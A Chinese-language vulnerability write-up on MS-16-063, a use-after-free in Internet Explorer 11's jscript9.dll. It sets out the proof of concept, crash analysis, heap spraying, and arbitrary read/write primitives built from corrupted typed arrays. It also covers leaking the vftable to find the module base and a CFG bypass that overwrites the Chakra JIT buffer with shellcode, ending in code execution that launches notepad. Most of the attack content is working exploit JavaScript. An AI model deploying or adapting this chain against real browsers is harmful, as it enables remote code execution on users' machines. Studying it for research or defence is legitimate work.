MS-16-063是Internet explorer jscript9.dll中的一个UAF漏洞;
win7 sp1 32
ie 11.0.9600.18204
POC来源theori
<html> <body> <script> function pwn() { var ab = new ArrayBuffer(1000 * 1024); var ia = new Int8Array(ab); detach(ab); setTimeout(main, 50, ia); function detach(ab) { postMessage("", "*", [ab]); } function main(ia) { ia[100] = 0x41414141; } } pwn() </script> </body> </html>
开启堆调试、US堆分配回溯
gflags.exe /i iexplore.exe +hpa
gflags.exe /i iexplore.exe +ust
崩溃的状态
显然,esi指向的地址是已经释放的堆块,并且从释放堆块的回溯看来,释放操作是由POC里的postMessage("", "*", [ab]);
引起的;
查看此时的栈回溯
明显和POC里的ia[100] = 0x41414141;
有关,由于向已经释放的堆块写入,造成的crash。
在jscript9.dll中,查看Js::TypedArray<char,0>::DirectSetItem
int __thiscall Js::TypedArray<char,0>::DirectSetItem(_DWORD *this, int index, void *a3) { int buffer; // edi struct Js::ScriptContext *v4; // ecx signed int v5; // eax if ( (unsigned int)index < this[7] ) // 检查是否在范围内 { buffer = this[8]; // 没有检查buffer 是否freed v4 = *(struct Js::ScriptContext **)(*(_DWORD *)(this[1] + 4) + 540); if ( (unsigned __int8)a3 & 1 ) v5 = (signed int)a3 >> 1; else LOBYTE(v5) = Js::JavascriptConversion::ToInt32_Full(a3, v4); *(_BYTE *)(index + buffer) = v5; // 设置Item值 } return 1; }
可以看到,在设置Item值时,没有检查buffer是否被释放,造成UAF。
关于TypedArray
When creating an instance of a TypedArray (e.g. Int8Array), an array buffer is created internally in memory or, if an ArrayBuffer object is given as constructor argument, then this is used instead.
这样POC的逻辑也清楚了,通过TypedArray构造特性,得到一个堆地址的两个引用,释放其中一个,再写入另一个,造成UAF。
var ab = new ArrayBuffer(1000 * 1024); // 分配TypeArray ab
var ia = new Int8Array(ab); // 以ab 作为 Int8Array 得到ia; ia和ab指向同一块地址
postMessage("", "*", [ab]); //释放堆空间 ab
ia[100] = 0x41414141; // 通过写入ia 触发 UAF
在漏洞利用过程中,堆喷占位在Win7上始终没有成功(可能与自己的IE环境有关),接下来的利用环境是
Win10 1511 x86;IE 11.0.10586.
若想利用UAF造成代码执行,需要控制释放的地址为我们需要的地址,这样可以达到更好的效果:任意地址读、写
。
首先获取并释放一个Large heap(超过2M),这样释放的内存会被系统回收;
var heapsrc = new ArrayBuffer(0x400 * 0x400 * 2 + 0x400 * 100); var heapbak = new Int8Array(heapsrc);
对于释放的内存,我们需要用可控的结构Sparyheap占位,这里选用Uint8Array
var spray = new Array(0x20000); var slim = new ArrayBuffer(0x1456); function sprayHeap(spray){ for(var i=0; i < spray.length; i++){ spray[i] = new Uint8Array(slim); } } sprayHeap(spray);
此时,为了使用可控的Uint8Array结构,我们需要找到该结构的地址;这一点可以根据Uint8Array的length属性搜索。
for(var i=0; heapbak[i] != 0x56 || heapbak[i+1] != 0x14 || heapbak[i+2] != 0x00 || heapbak[i+3] != 0x00; i++){ if(heapbak[i] === undefined) { alert("search failed..."); return; } } alert("search success...");
验证堆喷占位成功
接下来,我们需要准确地获取可控的Slim位置(mvslim)
heapbak[i] += 1; //marj to 0x1457 lengthIndex = i; try{ for(var i=0; spray[i] != 0x1457 ;i++); } catch(e){ alert("But Failed..."); return; } Math.atan2(0x111, "Get A Slim In Spray!"); mvslim = spray[i];
mvslim这个Unit8Array对象的所有数据都可以访问,包括元数据vftable等包含jscript9基地址信息的数据,其中的主要数据结构
Js::TypedArray<unsignedint>
+0x0 vftable
+0x10 Js::JavascriptArrayBuffer
+0x1C ArrayBufferSize
+0x20 ArrayBufferAddress
注意,通过搜索我们得到的lengthIndex位置实际指向偏移0x1c位置;其可以用作任意读写的跳板,既然如此,也便可以泄漏Unit8Array对象的vftable地址。
var bufaddr = ub(heapbak[lengthIndex + 4]) | ub(heapbak[lengthIndex + 4 + 1]) << 8 | ub(heapbak[lengthIndex + 4 + 2]) << 16 | ub(heapbak[lengthIndex + 4 + 3]) << 24; var vtable = ub(heapbak[lengthIndex - 0x1c]) | ub(heapbak[lengthIndex - 0x1c + 1]) << 8 | ub(heapbak[lengthIndex - 0x1c + 2]) << 16 | ub(heapbak[lengthIndex - 0x1c + 3]) << 24; alert("buffer address: " + bufaddr.toString(16)); alert("vftable address: " + vtable.toString(16));
得到vftable地址
此时jscript9.dll基地址
显然,可以通过vftable地址泄露计算得到jscript9.dll地址。
jscriptaddr = vtable - 0x1eeb4;
利用上述的任意地址读、写技巧,封装下面的过程
// 通过修改TypedArray<unsignedint> 的 BufferAddress实现任意地址写 function setBufferAddress(addr) { heapbak[lengthIndex + 4] = addr & 0xff; heapbak[lengthIndex + 4 + 1] = (addr >> 8) & 0xff; heapbak[lengthIndex + 4 + 2] = (addr >> 16) & 0xff; heapbak[lengthIndex + 4 + 3] = (addr >> 24) & 0xff; } //通过修改TypedArray<unsignedint> 的 BufferAddress也可以任意地址读 // 4 || 8 bytes function readAddressN(addr, n){ if(n !=4 && n != 8) return 0; setBufferAddress(addr); var ret = 0; for(var i =0; i < n; i++) ret |= (mvslim[i] << (i * 8)); return ret; } function writeAddressN(addr, val, n){ if(n !=4 && n != 8) return 0; setBufferAddress(addr); for(var i =0; i < n; i++) mvslim[i] = (val >> (i * 8)) & 0xff; }
在Win7上,此时的利用过程比较简单:
1、在heap上构造一个假的虚函数表
2、将某一虚函数替换为我们的shellcode地址。
2、VirtualProtect函数
3、覆盖Uint8Array的 vftable地址为我们构造的
在Win10上,需要绕过CFG保护,而针对CFG的弱点,最佳利用方式是利用Chakra JIT动态生成的代码;
Chakra JIT
Chakra JIT负责为多次调用的函数和循环生成优化的JIT代码。
利用步骤:Trigger JIT、找到 JIT Buffer、修改 JIT buffer内容为Shellcode。
触发JIT,即让JIT开始对函数进行编码,为了使第二步寻找buffer的时间更多一些,我们的函数代码应该更多一些(具体指令无关)
var code = "var i= 100; var j = 1;"; for(var i = 0; i< 6500; i++) { code += "i *= i + j.toString();"; } code += "return i.toString();"; func = Function(code); for(var i=0; i < 1000; i++) { //trigger jit func.call(); }
一旦JIT开始对源代码编码,我们需要快速找到临时本地代码缓冲区。发现缓冲区的一种方法是,找到给该缓冲区分配内存的页分配器,逐个查看分配的内存段。
通过先找到jscript9!ThreadContext,然后找到后台线程BackgroundJobProcessor,就可以找到页面分配器引用。
0:024> x jscript9!ThreadContext::global*
5b7302f0 jscript9!ThreadContext::GlobalInitialize (public: static void __stdcall ThreadContext::GlobalInitialize(void))
5b8fa07c jscript9!ThreadContext::globalListFirst = <no type information>
5b8fa074 jscript9!ThreadContext::globalListLast = <no type information>
0:024> lm m jscript9
Browse full module list
start end module name
5b5b0000 5b938000 jscript9 (pdb symbols)
0:024> ? 5b8fa074-5b5b0000
0:024> x jscript9!ThreadContext::global*
5b7302f0 jscript9!ThreadContext::GlobalInitialize (public: static void __stdcall ThreadContext::GlobalInitialize(void))
5b8fa07c jscript9!ThreadContext::globalListFirst = <no type information>
5b8fa074 jscript9!ThreadContext::globalListLast = <no type information>
0:024> lm m jscript9
Browse full module list
start end module name
5b5b0000 5b938000 jscript9 (pdb symbols)
0:024> ? 5b8fa074-5b5b0000
Evaluate expression: 3448948 = 0034a074
//Find ThreadContext var threadctx = readAddressN(jscriptaddr + 0x34a074, 4); // Find BackJobProcessor var bgjob = readAddressN(threadctx + 0x3b0, 4); //PageAllocator var pgalloc = bgjob + 0x1c;
PageAllocator有已分配段的列表,由于经过JIT处理的函数会变大,所以临时的本地赛马缓冲器也将很大。通过检查LargeSegments列表,就可以找到对应的内存段
while(true){ var largeSeg = readAddressN(pgalloc + 0x24, 4); //check if the list is empty if(largeSeg == pgalloc + 0x24) continue; //Get the address from list var page = readAddressN(largeSeg + 8 + 8, 4); if(page == 0) continue; break; }
在得到临时本地代码缓冲区之后,就可以修改其内容为shellcode。按理说只要使用我们的shellcode覆盖缓冲区的内容就行了,但是实际上要比这个过程要复杂的多,因为我们必须避免覆盖未来在重定位步骤中将要修改的任何内容。因为用于触发JIT的函数需要多次调用toString(),同时还要避免重定位的影响,所以,实际上可用于shellcode的空间并不充裕。
虽然最佳之选是修改要进行JIT处理的函数,但这里选择使用first-stage shellcode,它只是简单调用VirtualProtect,然后跳转到我们的second-stage shellcode。这个first-stage shellcode通常是非常小(只有20个字节)的。所以 ,我们可以把first-stage shellcode放到距这个缓冲区比较近的地方,然后在这个缓冲区的起始位置放上一个近转移指令,从而跳转至该代码。
这样的话,我们的second-stage shellcode可以是任何长度,所以在我们的漏洞利用代码中,使用了一个metasploit生成shellcode来执行notepad.exe。实际上,这个second-stage shellcode还可以绕过保护模式(沙箱)。
var race = function(){ // Read LargeSegments List var largeSeg = readAddressN(pgalloc + 0x24, 4); //check if the list is empty if(largeSeg == pgalloc + 0x24) return false; //Get the address from list var page = readAddressN(largeSeg + 8 + 8, 4); if(page == 0) return false; buf = page + 0x18; // overwrite instructions // avoid overwriting address which will be relocated setBufferAddress(buf); mvslim[0] = 0xeb; mvslim[1] = 0x34; setBufferAddress(buf + 0x36); mvslim.set(scbytes, 0); return true; }
修改好缓冲区后,等待并执行JIT代码
for(var i=0; i<1000; i++) { race(); } for(var i=0; i < 1000; i++) { //trigger jit func.call(); } while(!race()); // wait until we overwrite jit block for(var i=0; i < 1000; i++) { //call our overwritten block func.call(); }
成功执行notepad.exe